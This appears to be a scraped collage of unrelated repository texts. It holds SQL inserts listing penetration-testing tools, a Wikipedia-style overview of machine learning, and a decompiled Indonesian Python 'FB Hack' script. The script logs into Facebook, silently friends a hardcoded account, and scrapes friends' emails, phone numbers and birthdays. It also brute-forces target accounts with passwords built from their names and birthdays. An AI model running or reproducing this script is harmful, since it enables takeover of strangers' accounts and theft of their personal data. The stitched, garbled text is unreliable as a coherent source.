'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
emustudio / EmuStudioUniversal emulation platform and framework.
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 